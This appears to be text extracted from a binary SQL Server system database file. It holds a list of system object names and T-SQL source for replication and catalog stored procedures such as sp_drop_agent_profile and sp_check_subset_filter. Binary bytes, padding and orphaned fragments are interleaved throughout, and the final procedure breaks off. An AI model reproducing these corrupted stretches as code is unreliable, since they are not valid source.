P eE{jsp_MSscript_sync_ins_trig00uP ޣfsp_MScreate_peer_tables00.$P 7C$Ilsp_describe_cursor_columns002%V ..`spt_indexes_view_10000!3V fdm_pdw_nodes_os_workers007P zNsp_MSsetbit00^P Y1Fsp_lock00	s`P |sp_syspolicy_update_event_notification00%aIFhhtfn_procedure_params_90_rowset200gX noVsp_trace_create00V k-ljfulltext_system_stopwords00iP bsp_MSenum_misc_agents00\U (`spt_permission_names00P Tvsp_MScreate_sub_tables_internal00IFjjZfn_ft_wordbreaker00/P >adsp_MSrepl_ddl_triggers00cV ffJmessages$00ԺP -dsp_helppublicationsync00rOP o??nsp_table_privileges_rowset200<P nsp_createagentparameterlist00TP m`sp_MSsetfilterparent00P M/M/zsp_MSrepl_setOraclepackageversion00-P 9jsp_MSrepl_droppublication00뇝P 1ddsp_scriptmappedupdproc00
U8P o1tsp_MSdrop_6x_replication_agent00h-P 
r6nsp_MShelptranconflictcounts00آP 77bsp_ORAposttracertoken00	^P ~sp_MSdetectinvalidpeerconfiguration00uP lsp_MScleanup_peer_metadata00вP ^lsp_MSdrop_synctran_objects003P sp_MSpeerconflictdetection_statuscollection_sendrequest00P ~sp_MSisdistributionjobnamegenerated00+P ){Ysp_MSdrop_distribution_agentid_dbowner_proxy00/5P `sp_MSget_new_errorid00=iP Xnsp_MSadd_merge_subscription00P |Yrsp_MSreset_subscription_seqno006QP 7SZnsp_replmonitorhelppublisher00P nA-sp_MSchange_logreader_agent_properties00P UUsp_hadr_verify_subscribers_at_publisher00FN11hfn_cdc_capture_instances00P nsp_MSmerge_getgencur_public00d>P \sp_MSlevelcontents00M/P ..bsp_MScheckatpublisher00/'P RCzsp_MSevaluate_logicalrecordparent00bBP DDsp_MSvalidate_wellpartitioned_articles00ϲP Mhsp_MSgetfilteringcolumns00eUP nWHpsp_MShelpmergeschemaarticles00{mP jnsp_MSmakemetadataselectproc00><P vsp_MSget_gen_approx_changecount004X dPxp_fileexist00z X QXsp_PostAgentInfo00ߑP ^sp_MSforeach_worker00SP Xsp_MSobjectprivs~4vH
>
l(~
@zBDf

,
	Z	bJnf2bl$Pd
@`0oF"*J|2=00ۍP psp_column_privileges_rowset200܂IF888dfn_validate_plan_guide00e‡P lsp_MSfixupagentoffloadinfo00NIF*|dm_cryptographic_provider_sessions001P vvsp_MSrepl_enumarticlecolumninfo00eP oo\sp_columns_managed008P xuNsp_helpuser00hV Xdm_os_sys_memory00TFNVfn_secondstohms00eTFwwjgenerate_table_sample_ddl00U ;;X_dm_pdw_sys_info00p'V ttPtrace_events00P hsp_MSrepladdproxyaccount00iS	TFI{hfn_EnumCurrentPrincipals00P sTsp_resetstatus00P ^YbPsp_helpindex00 X &mFmbsp_xml_removedocument00lo2P '~1Rsp_helpdevice00:P x`sp_stored_procedures00EIF55ldm_sql_referenced_entities00s<HFN}}^fn_IHcompareversion00KP rPsp_attach_db00SV dm_pdw_nodes_exec_query_resource_semaphores00LSUV jdm_io_pending_io_requests00F8XP oofsp_MSaddserver_internal00)bP W4WTsp_oledb_defdb00cP `sp_MSacquireSlotLock00ExP !N^sp_MSsendtosqlqueue00(X yyPxp_oledbinfo00
V 99Vspt_tables_view00P LMhsp_tables_info_rowset_6400P '2fsp_MSmerge_altertrigger00PP &sp_MSrepl_verify_oracle_provider_isregistered00P mm`sp_populateqtraninfo00vP sp_MSrepl_drop_expired_sub_cleanup_job00P ʡ
bsp_helpdistributiondb00,WP lH{|sp_stopmergepullsubscription_agent00"BV ((hdm_hadr_cluster_networks00ȚV ndm_pdw_nodes_os_dispatchers006P fsp_createagentparameter00mJP Etjsp_MSreplsup_table_has_pk00_`P &hsp_MSscript_article_view00NH
P X
dsp_scriptpkwhereclause00P ]zsp_script_reconciliation_xdelproc00YP Vs fsp_MSgetpeerconflictrow00!P `sp_publisherproperty00[P ȣjsp_MSaddmqforsubscription001P q{Yjsp_MSdrop_qreader_history00dP 
tsp_replmonitorhelpmergesession00qFN@ffn_cdc_is_table_enabled00@9UFN33dfn_cdc_trim_whitespace00EP rsp_cdc_disable_table_instance00P ϨϨfsp_cdc_add_job_internal00F@P gbsp_MSdropmergearticle00$ZP [jsp_changemergepublication00QP fsp_helpmergepublication00+3P DVsp_MSscript_dri00ygP ,,lsp_dropdynamicsnapshot_job00^P LALAsp_MSget_distinct_semicolon_sep_items00sP sK|Ktsp_MScreate_article_repl_views00]P %aP\sp_MSdummyupdate9000NP sshsp_MSenumschemachange_9000ԫP 5wkfsp_MSupdateschemachange00R"P ==fsp_MScheckmetadatamatch00
P ÆÆ\sp_MSexpandbelongs00P plsp_MSaddinitialpublication00TP ^sp_MSmakeselectproc00IP %:xsp_MScreatelightweightupdateproc00- X |\xp_sqlagent_notify00ߞP dsp_MShelpfulltextindex>Z
t
 
H^
P
	|f	,	6>N$p dT<\Hr\(4`< 5/0	i 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_tables_rowset;5
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name     sysname = null,
    @table_schema       sysname = null,
    @table_type     sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        TABLE_TYPE,
        TABLE_GUID,
        DESCRIPTION,
        TABLE_PROPID = null,    -- ISSUE these 3 columns must be exported by the server
        DATE_CREATED = null,    -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
        DATE_MODIFIED = null    -- const SCHEMA_COLUMNS xCol_TABLES = {
    from
        sys.fn_remote_tables (@table_server,
                              @table_catalog,
                              @table_schema,
                              @table_name,
                              @table_type)
    order by 4,1,2,3
0w@ 8-- Drop a profile from the MSagent_profiles table, as well as the corresponding
-- parameters from the MSagent_parameters table

create procedure sys.sp_drop_agent_profile (
    @profile_id int
)
AS
    SET NOCOUNT ON

    declare @snapshot_type      int
    declare @logreader_type     int
    declare @distribution_type  int
    declare @merge_type         int
    declare @qreader_type       int
    
    declare @tablename          nvarchar(255)
    declare @proc               nvarchar(255)
    declare @distribution_db    sysname
    declare @profile_type       int

    declare @default            bit
    declare @usage_count        int
    declare @agent_type         int
    declare @retstatus          int
    DECLARE @retcode            int

    declare @default_sys_id     int

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    SELECT @agent_type = agent_type, @profile_type = type, @default=def_profile
    FROM msdb..MSagent_profiles
    WHERE profile_id = @profile_id

    IF @default IS NULL
    BEGIN
        RAISERROR (20066, 16, -1) -- Profile not defined
        RETURN (1)
    END

    /*
    ** Before dropping a default profile, one system profile of the same agent type
    ** has to become the new default profile.
    */
    IF @default = 1
    BEGIN
        select @default_sys_id=min(profile_id) from msdb..MSagent_profiles
            where agent_type = @agent_type AND type = 0
            
        UPDATE msdb..MSagent_profiles SET def_profile = 1 WHERE profile_id = @default_sys_id
    END

    select @snapshot_type = 1
    select @logreader_type = 2
    select @distribution_type = 3
    select @merge_type = 4
    select @qreader_type = 9

        /* By default, assume that this profile is not being used */
    select @usage_count = -1

    select @tablename = 
        case @agent_type
            when @snapshot_type then 'MSsnapshot_agents'
            when @logreader_type then 'MSlogreader_agents'
            when @distribution_type then 'MSdistribution_agents'
            when @merge_type then 'MSmerge_agents'
            when @qreader_type then 'MSqreader_agents'
        end

    declare hCdistdbs CURSOR LOCAL FAST_FORWARD FOR
        select distinct distribution_db 
        from msdb..MSdistpublishers
        for read only

    open hCdistdbs
    fetch hCdistdbs into @distribution_db

    while @@fetch_status <> -1 and @usage_count = -1
    begin
        select @proc = QUOTENAME(@distribution_db) + '.dbo.sp_MSprofile_in_use'
        execute @usage_count = @proc @tablename = @tablename, @profile_id = @profile_id
    
        if @@error <> 0
        begin
            select @retstatus = 1
            goto UNDO
        end

        fetch hCdistdbs into @distribution_db
    end

    /* A profile in use cannot be dropped */
    if @usage_count = 0 
    begin
        RAISERROR(20065, 16, -1) -- Cannot drop profile, because it is in use.
        select @retstatus = 1
        goto UNDO 
    end

    BEGIN TRAN

    /*****
     * NOTE : If sp_drop_agent_parameter fails, the profile must not be 
     * deleted either 
     */
    EXECUTE @retcode = sys.sp_drop_agent_parameter @profile_id = @profile_id,
                            @parameter_name = '%'

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO UNDO
            
    /* Delete all the entries in one go */
    DELETE msdb..MSagent_profiles 
    WHERE profile_id = @profile_id

    IF @@ERROR <> 0
        GOTO UNDO

    COMMIT TRAN

    close hCdistdbs
    deallocate hCdistdbs

    RETURN 0

UNDO:
    IF @@TRANCOUNT = 1
        ROLLBACK TRAN
    ELSE IF @@TRANCOUNT > 1 -- Sometimes we can get here when @@trancount = 0, so need to check explicitly.
        COMMIT TRAN

    close hCdistdbs
    deallocate hCdistdbs


    RETURN (1)
0xv@ 8create procedure sys.sp_MSget_temp_closed_gen
    @art_nick int,
    @max_changes_in_gen int,
    @nickbin varbinary(255),
    @gen bigint output,
    @changes_in_gen int output,
    @use_existing_gen bit = 1
as
    declare @target_gen bigint
    declare @changes_in_target_gen bigint
    declare @error int
    
    select @target_gen = NULL
    if @use_existing_gen = 1
        select top 1 @target_gen = generation, @changes_in_target_gen = changecount 
            from dbo.MSmerge_genhistory with (updlock, rowlock)
            where genstatus = 3 and changecount < @max_changes_in_gen and art_nick = @art_nick
    if @target_gen is NULL
    begin
        insert into dbo.MSmerge_genhistory with (rowlock)
            (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
              values  (newid(), 3, @art_nick, @nickbin, getdate(), 0)
        select @error = @@error, @target_gen = @@identity
        if @error<>0 or @target_gen is NULL
            return 1
        select @changes_in_target_gen = 0
    end

    select @gen = @target_gen
    select @changes_in_gen = @changes_in_target_gen
    return 0
mmand)
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!_;`#
<>!00~ 8--
-- Name: 
--        sp_MSrevokeconnectreplication
-- 
-- Description: 
--        This procedure will revoke "connect replication" for the passed in user.
--        If the user is in the PAL for another publication in the same database then the
--        permission is not revoked.
--        This permission is required for NFR to be honored.
--  
-- Parameters:
--
-- Returns: 
--        0 - succeeded
--        1 - failed
--
-- Result: 
--        None
--
-- Security: 
--        
--
create procedure sys.sp_MSrevokeconnectreplication
(
    @publisher sysname,
    @publisher_db sysname,
    @login sysname,
    @user sysname
)
as
begin
    DECLARE @distribdb          sysname,
                @distproc       nvarchar (300),
                @command        nvarchar(400),
                @proc           nvarchar(524),
                @retcode	    int,
                @dist_rpcname   sysname,
                @publisher_type sysname,
                @loc_publisher  sysname

    DECLARE @curuser_publications TABLE
    (
        publisher_db 	sysname collate database_default not null, 
        publication     sysname collate database_default not null
    )

    -- Set publisher name if not supplied
    select @loc_publisher = case when (@publisher is null) then publishingservername() 
                                                else @publisher end

    -- Get publisher info
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo    @publisher      = @loc_publisher,
                                                        @rpcsrvname     = @dist_rpcname   OUTPUT,
                                                        @distribdb      = @distribdb      OUTPUT,
                                                        @publisher_type = @publisher_type OUTPUT

    IF @@error <> 0
    BEGIN
         RAISERROR (14071, 16, -1)
         return (1)
    END

    IF @retcode <> 0 OR @distribdb IS NULL OR @dist_rpcname IS NULL
    BEGIN
        RAISERROR (14071, 16, -1)
        return(1)
    END



    SELECT @proc = case when (@dist_rpcname IS NOT NULL) THEN quotename(@dist_rpcname) + N'.' else N' ' end 
                            + quotename(@distribdb) + N'.sys.sp_MSpublication_access'
    --
    -- Get accessible publication list.
    --
    insert into @curuser_publications
    EXEC @retcode = @proc
                    @publisher = @publisher,
                    @operation = N'get_publications',
                    @login = @login


    --
    -- Revoke connect replication permission if the user is not in the PAL of any other
    -- publication on this publisherdb
    --
    if not exists (select * from @curuser_publications where publisher_db = @publisher_db)
    begin
        select @command = N'revoke connect replication to ' + quotename(@user)
        exec(@command)
    end
    
    return 0
end
0A O8
create procedure sys.sp_check_subset_filter @filtered_table nvarchar(400)
                                        , @subset_filterclause nvarchar(1000)
                                        , @has_dynamic_filters bit = NULL OUTPUT
                                        , @dynamic_filters_function_list nvarchar(500) = NULL OUTPUT
as
    set nocount on
    
    declare @retcode int
    , @owner_qualified_art_name nvarchar(517)
    , @art_name nvarchar(258)
    , @viewname nvarchar(258)
    , @objid int
    , @found_functions bit
    , @can_use_partition_groups bit
    , @uses_host_name bit
    , @uses_suser_sname bit
    , @passed_in_has_dynamic_filters bit
   
    
    /*
    ** Security Check
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
        
    set @passed_in_has_dynamic_filters = @has_dynamic_filters
        
    -- Initialize the flags to such a value that the occurrence of some condition will
    -- set the value to the opposite value.
    set @can_use_partition_groups = 1
    set @has_dynamic_filters = 0
    set @uses_host_name = 0
    set @uses_suser_sname = 0
    set @dynamic_filters_function_list = NULL
    
    select @objid = object_id(@filtered_table)
    
    if @objid is null
    begin
        declare @dbname sysname
        select @dbname = db_name()
        raiserror(20507, 16, 1, @filtered_table, @dbname)
        return 1
    end
    
    select @owner_qualified_art_name = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
            , @art_name = quotename(name)
    from sys.objects
    where object_id = @objid
            
    select @viewname = quotename('MSmerge_subset_filter_view_' + convert(nvarchar(40), newid()))
        
    begin tran
    save tran check_subset_filter
        
    exec ('create view dbo.' + @viewname + ' as select placeholder = 1 from ' + @owner_qualified_art_name + ' ' + @art_name +  
            ' where ' + '(' + @subset_filterclause + ')')
                    
    if @@error <> 0
        goto UNDO
            
    exec @retcode = sys.sp_MScheck_functions_directly_in_view    @viewname = @viewname
                                                            , @has_dynamic_filters = @has_dynamic_filters output
                                                            , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                            , @uses_host_name = @uses_host_name output
                                                            , @uses_suser_sname = @uses_suser_sname output
                                                            
    if @@error <> 0 or @retcode <> 0
        goto UNDO
        
    exec @retcode = sys.sp_MScheck_functions_indirectly_in_view @viewname = @viewname
                                                            , @use_partition_groups = NULL
                                                            , @can_use_partition_groups = @can_use_partition_groups output
                                                            , @has_dynamic_filters = @found_functions output
                                                            , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                            , @uses_host_name = @uses_host_name output
                                                            , @uses_suser_sname = @uses_suser_sname output
    if @@error <> 0 or @retcode <> 0
        goto UNDO
    
    if @found_functions = 1
    begin
        set @can_use_partition_groups = 0
        set @has_dynamic_filters = 1
    end        
    
    -- rollback tran so that the temp view gets dropped. 
    rollback tran check_subset_filter
    commit tran

    if @passed_in_has_dynamic_filters is NULL
    begin
        select can_use_partition_groups = @can_use_partition_groups
        , has_dynamic_filters = @has_dynamic_filters
        , dynamic_filters_function_list = @dynamic_filters_function_list
        , uses_host_name = @uses_host_name
        , uses_suser_sname = @uses_suser_sname
    end
    return 0
    
UNDO:

    if @@trancount > 0
    begin
        rollback tran check_subset_filter
        commit tran
    end
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`#<>" %I0;@ 8create procedure sys.sp_user_counter8 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 8', @newvalue)
0&A@ 8create procedure sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff bit -- 1 to turn on
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @bitmask tinyint

    -- bit to set: snapshot=1, logreader=2, distrib=4, merge=8, 
    -- replication_agent=16, merge_identityrange_alterconstraint=32
    if @onoff=1
        set @bitmask=32
    else
        set @bitmask=255-32

    -- get the current context_info. remember we only want to modify a bit without changing the rest of the info
    select @cur_context = isnull(context_info(),0x00)

    -- get the first byte out. the replication agent flags are set in the first byte.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    -- set the appropriate bit in this one byte (leaving other bits unchanged).
    if @onoff=1
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) | @bitmask)
    else
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) & @bitmask)
        
    -- replace the first byte of the 128 byte binary variable, so that now it has the appropriate bit set.
    select @cur_context = convert(varbinary(128),stuff (@cur_context, 1, 1, @cur_context_first_byte))
    -- set the context_info again with the new binary(128) value.
    set context_info @cur_context

    if @@error <> 0
        return 1
        
    return 0
end
06Q 8create procedure sys.sp_MSinit_subscription_agent
    @publisher      sysname,                    -- publishing server name
    @publisher_db   sysname,                    -- publishing database name. If NULL then same as current db
    @publication    sysname,                    -- publication name,
    @subscription_type int
AS
    set nocount on
    declare @retcode int
    declare @login_time datetime

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
    RETURN(1)

    -- For non independent agent publications
    if @publication is null or @publication = ''
        set @publication = 'ALL'

        select @login_time = login_time from sys.sysprocesses where spid = @@spid

    if not exists (select * from MSsubscription_agents where
            UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication
            and subscription_type = @subscription_type)
    begin
        INSERT INTO MSsubscription_agents
            (publisher, publisher_db, publication, subscription_type,
             queue_id, update_mode, failover_mode, spid, login_time )
        values (UPPER(@publisher), @publisher_db, @publication, @subscription_type, 
            null, 1, 0, @@spid, @login_time)
    end
    else
    begin
        -- It is possible that 2 instance of the distribution agent do this update at 
        -- the same time. One will fail later at the instance check at the distributor
        -- side. We no longer use the spid and login_time column anywhere else. 
        update MSsubscription_agents set      
            spid = @@spid,
            login_time = @login_time
            where UPPER(publisher) = UPPER(@publisher)
                and publisher_db =  @publisher_db
                and publication = @publication
                and subscription_type = @subscription_type
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`x"<C# )0u8 8--
-- Name: sp_MSfixup_defaults_name
--
-- Owner: QunGuo
--
-- Description: this is a helper procedure which is used by ddl trigger to 
--		handle the condition where user did not provide explicit default
--		name, by retrieving default name from system catelog view 
--		it works off  prepopulated #tran_altertable table
--
--	add default is different from the rest of constraints because 'with values'
--	is not persisted in system catelog view, we need to depend
--
--add default can have any combination of the following three varations:
--1. in column definition, or adding to existing column
--		e.g. alter table foo add bar int default 5 
--				alter table foo add bar int,  default 5 for foo_bar
--2. with or without explicit name
--		e.g. alter table foo add bar int constraint df_bar default 5 
--3. with or without 'with values' clause
--		e.g. alter table foo add bar default 5 with values

--the goal is to reform the resultset from parser so that
--1. if 'WITH VALUES' default was added in the same DDL as base column, 'addcolumn' row need to reflect this
--		e.g. 	alter table foo add bar int default 5 with values
--			sys.sp_replddlparser returns:
--			ADDCOLUMN		foo	bar	
--			ADDDEFAULT		foo					WITH VALUES
--
--			alter table foo add bar int constraint df_bar default 5 with values
--			sys.sp_replddlparser returns:
--			ADDCOLUMN		foo	bar	
--			ADDDEFAULT		foo	df_bar		WITH VALUES
--
--			alter table foo add bar int, default 5 for bar with values
--			sys.sp_replddlparser returns:
--			ADDCOLUMN		foo	bar	
--			ADDCOLUMN		foo		
--			ADDDEFAULT		foo	df_bar		WITH VALUES
--
--			alter table foo add bar int, constraint df_bar default 5 for bar with values
--			sys.sp_replddlparser returns:
--			ADDCOLUMN		foo	bar	
--			ADDDEFAULT		foo	df_bar		WITH VALUES
--
--	in these cases parser resultset will either use base column name or explicit default name in adddefault row,
--	1.1. base column means user did not specify explicit default name, if base column exists in DDL, update the row
--				notice the middle row in the third example with empty df name, basically we are returning two rows for add default
--				in this particular case, the bottom row uses colname since default name was not specified, the middle row is redundent
--				but tells merge that there is a default without explicit name so they can reject, once merge implement similar
--				logic to handle no-name defaults, this redundent row and related logic should go away
--	1.2. explicit default name in ColumnName, use it to find base column name, if base column exists in DDL, update the row
--			
--2. if default is added to existing column, ColumnName need to reflect the real default name, regardless of 'WITH VALUES' setting
--		cuz sp_MSfixup_single_add will join with catelog view base on ColumnName
--		e.g. 	alter table foo add default 5 for bar
--			alter table foo add constraint df_bar default 5 for bar 
--	in these cases parser resultset will have NULL or base column name as ColumnName 
--	2.1. Null ColumnName, previous addcolumn should be the base, find default name by base column, update ColumnName
--	2.2. base column name, find default name by base column, update ColumnName
--
--
-- Parameter: 
--
-- Returns: 1 or 0   0 = success
--
-- Security: internal, not exposed
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSfixup_defaults_name
(
	@subtype_adddf int
	,@subtype_addcolumn int
	,@objid int
    ,@debug_print bit = 0
)
as
begin 
		DECLARE @basecol nvarchar(512)
						,@defaultname nvarchar(512)
						,@dfname nvarchar(512) 
						,@colattr sysname
						,@typeid nvarchar(32)
						,@modified_date datetime
						,@row_id int
						,@type_mask int
						,@done_mask int

		begin tran replddl_fixup_defaults_name
		save tran replddl_fixup_defaults_name

		DECLARE #fkcursor CURSOR LOCAL FAST_FORWARD for
			select id, ColumnName, ColumnAttr from #tran_altertable 
				where EnumType = @subtype_adddf
					and (len(isnull(ColumnName, '')) = 0 or
						ColumnName collate database_default in (select name from sys.columns where object_id = @objid) or
						ColumnAttr = N'WITH VALUES' collate database_default) 
				order by id desc
		open #fkcursor
		fetch #fkcursor into @row_id, @dfname, @colattr
		while @@fetch_status <> -1
		begin
			if @debug_print = 1
				select 'stage' = 'sp_MSfixup_defaults_name:query'
										,'@row_id' = @row_id
										,'@dfname' = @dfname
										,'@colattr' = @colattr
			set @basecol = NULL
			set @defaultname = NULL
			--
			--first of all find base column name and default constraint name for current row
			--
			--if ColumnName is the default name, find base col name so we can update addcolumn row if any
			if exists(select * from sys.default_constraints dc where dc.parent_object_id = @objid and dc.name = @dfname)
			begin
				set @defaultname = @dfname
				select @basecol = c.name from sys.default_constraints dc join sys.columns c on c.object_id = dc.parent_object_id
							   				and c.column_id = dc.parent_column_id
						where dc.parent_object_id = @objid and dc.name = @defaultname
			end
			else --ColumnName is not default constraint name, it's either base column name or NULL
			begin
				--if base column name, find default constraint name, we may need to update the row later
				if exists(select * from sys.columns c where c.object_id = @objid and c.name = @dfname)
				begin
					set @basecol = @dfname
					--this deletes the redundant adddefault row with empty ColumnName
					delete from #tran_altertable where id = @row_id - 1 and 
												len(isnull(ColumnName, '')) = 0 and
												EnumType = @subtype_adddf
					if @@ERROR > 0
						goto FAILURE
				end
				else -- ColumnName is null
				begin
					--if @colname is null, default was added without explicit name and without 'for column', 
					--which means this can not be adding to existing column, which means base column has to be added
					--in this very same DDL, find base col name by searching backward
					select top 1 @basecol = ColumnName from #tran_altertable where id < @row_id and 
							EnumType = @subtype_addcolumn order by id desc
				end
				select @defaultname = dc.name from sys.default_constraints dc join sys.columns c on c.object_id = dc.parent_object_id
							   				and c.column_id = dc.parent_column_id
						where dc.parent_object_id = @objid and c.name = @basecol
			end	
			if @debug_print = 1
			select 'stage' = 'sp_MSfixup_defaults_name:setname'
									,'@defaultname' = @defaultname
									,'@basecol' = @basecol

			if @colattr = N'WITH VALUES' 
			begin
				--this affects 1 row or 0 row depending on whether base column is in the same DDL or not
				update #tran_altertable set ColumnAttr = N'WITH VALUES' 
						where ColumnName = @basecol and EnumType = @subtype_addcolumn
				if @@ERROR > 0
					goto FAILURE
			end

			--if @dfname is null, default was added without explicit name and without 'for column', 
			--which means this can not be adding to existing column, that way we can safely delete it here since addcolumn row will take care of it in #single_ddl
			if  len(isnull(@dfname, '')) = 0
			begin
				delete from #tran_altertable where id = @row_id
				if @@ERROR > 0
					goto FAILURE
			end
			else
			begin 
				--update ColumnName to default name
				update #tran_altertable set ColumnName = @defaultname where id = @row_id
				if @@ERROR > 0
					goto FAILURE
			end
			fetch #fkcursor into @row_id, @dfname, @colattr
		end
		close #fkcursor
		deallocate #fkcursor
		commit tran replddl_fixup_defaults_name
		return 0
FAILURE:
	close #fkcursor
	deallocate #fkcursor
	rollback tran replddl_fixup_defaults_name
	commit tran
	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`M<o	$t=0ց	 /8--
-- Name: sp_MSfixup_single_ddls
--
-- Owner: QunGuo
--
-- Description: this is a helper procedure which is used by ddl trigger to 
--		reconstruct individual ddl cmd, more specifically, it updates
--		#tran_altertable with more details corresponding to each DDL 
--		we end up posting, so that subsequent loop can pick out the ones of 
--		interest to post base on article info
--
--		note this proc only fill the table with none-article specific entries, 
--		addcolumn/alter need article information (such as type mapping),
--		hence coverred in sys.sp_MSfixup_single_artddls
--		
--		addfk is partially handled here, then completed in sp_MSbuild_single_post 
--
-- Parameter: 
--
-- Returns: 1 or 0   0 = success
--
-- Security: internal, not exposed
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSfixup_single_ddls
(
@objid int
,@subtype_addcolumn int
,@subtype_addun int
,@subtype_addchk int
,@subtype_adddf int
,@subtype_addfk int
,@debug_print bit = 0
)
as
begin 
	declare @stmt nvarchar(max)
				,@reftable nvarchar(512)
				,@refcollist nvarchar(max)
				,@colname nvarchar(512)
				,@stmtend nvarchar(512)
				,@refcolcount int
				,@referenced_object_id int
	
	if @debug_print = 1
		select 'stage' = 'sp_MSfixup_single_ddls:enter'
					,'comments=' = 'constraint names filled'
					, * from #tran_altertable 

	begin tran replddl_fixup_single_cmds 
	save tran replddl_fixup_single_cmds

	--skip inserting of regular addcolumn here, it will be done within article loop
	--because each article may have different setting for map to base types
	--

	--fish out individual 'add unique constraint' in current DDL
	--index options are not replicated over
	update #tran_altertable set
			 check_nocheck = N''
			,stmt = sys.fn_MStran_unique(@objid, quotename(ColumnName))
			where EnumType = @subtype_addun
	if @@ERROR <> 0
	begin
		goto FAILURE
	end		

	--fish out individual 'add default' in current DDL
	--exclude defaults added for new column cuz this is covered in 'addcolumn'
	update #tran_altertable set
		check_nocheck = N''
		, stmt = N'CONSTRAINT ' + quotename(dc.name) + N' DEFAULT ' + definition + N' FOR ' + quotename(c.name) +
			case t.ColumnAttr collate database_default  when N'WITH VALUES' then N' WITH VALUES'
												else N''
												end
		from 
		sys.default_constraints dc join sys.columns c on c.object_id = dc.parent_object_id
	   										 and c.column_id = dc.parent_column_id
		join #tran_altertable t on dc.name = t.ColumnName collate database_default 
		where parent_object_id = @objid  and t.EnumType = @subtype_adddf
